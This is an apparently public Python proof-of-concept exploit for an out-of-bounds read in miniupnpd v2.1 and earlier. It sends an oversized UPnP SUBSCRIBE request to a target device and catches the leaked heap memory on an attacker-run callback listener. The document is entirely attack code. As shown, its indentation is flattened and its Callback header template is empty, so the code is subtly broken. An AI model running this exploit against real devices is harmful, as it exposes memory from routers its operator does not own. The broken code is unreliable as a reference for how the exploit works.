#!/usr/bin/python3 # miniupnpd <= v2.1 read out-of-bounds PoC # by b1ack0wl # https://github.com/b1ack0wl/miniupnpd_poc import requests, socketserver, argparse, sys class OK_HTTP_Response(socketserver.StreamRequestHandler): def handle(self): self.request.settimeout(self.server.timeout) self.server.notify = b"" try: line = self.rfile.read(1) while len(line) > 0: self.server.notify += line line = self.rfile.read(1) except: pass self.wfile.write(b"HTTP/1.1 200 OK\r\n\r\n") def splash(): print("[*] miniupnpd <= v2.1 read out-of-bounds vulnerability [PoC]") print("[*] by b1ack0wl") def leak_data(args): leak_size = ((1024*args.leak_amount)+526) callback_uri= "A" * leak_size headers= {'NT': 'upnp:event', 'Callback': ''.format(args.callback_ip,args.callback_port,callback_uri), 'Timeout': 'Second-20'} server = socketserver.TCPServer((args.callback_ip, args.callback_port), OK_HTTP_Response) server.timeout = args.timeout print("[+] Sending request...") requests.request(method="SUBSCRIBE",url="http://{}:{}/evt/L3F".format(args.target_ip,args.target_port),headers=headers,timeout=args.timeout) server.handle_request() leaked_data = server.notify[1023::] # Skip over the first 1024 bytes since it just contains 'NOTIFY /AAA...' print("[+] Leaked Data: {}".format(leaked_data)) print("[+] Leaked Length: {}".format(len(leaked_data))) print("[+] Done") def main(): poc_parser = argparse.ArgumentParser( add_help=True, description='Miniupnpd <= v2.1 read out-of-bounds vulnerability',formatter_class=argparse.ArgumentDefaultsHelpFormatter) poc_parser.add_argument('target_ip', help='IP address of vulnerable device.') poc_parser.add_argument('target_port', default=5000, help="Target Port.", type=int) poc_parser.add_argument('--callback_ip', help="Local IP address for httpd listener.", type=str) poc_parser.add_argument('--callback_port', help="Local port for httpd listener.", type=int) poc_parser.add_argument('--timeout', default=5, help="Timeout for http requests (in seconds).", type=float) poc_parser.add_argument('--leak_amount', default=1, help="Amount of arbitrary heap data to leak (in KB).", type=int) args = poc_parser.parse_args() arguments = ['target_ip', 'target_port', 'callback_ip', 'callback_port' ] for i in arguments: if getattr(args, i) == None: poc_parser.print_help() sys.exit(1) leak_data(args) if __name__ == '__main__': splash() main()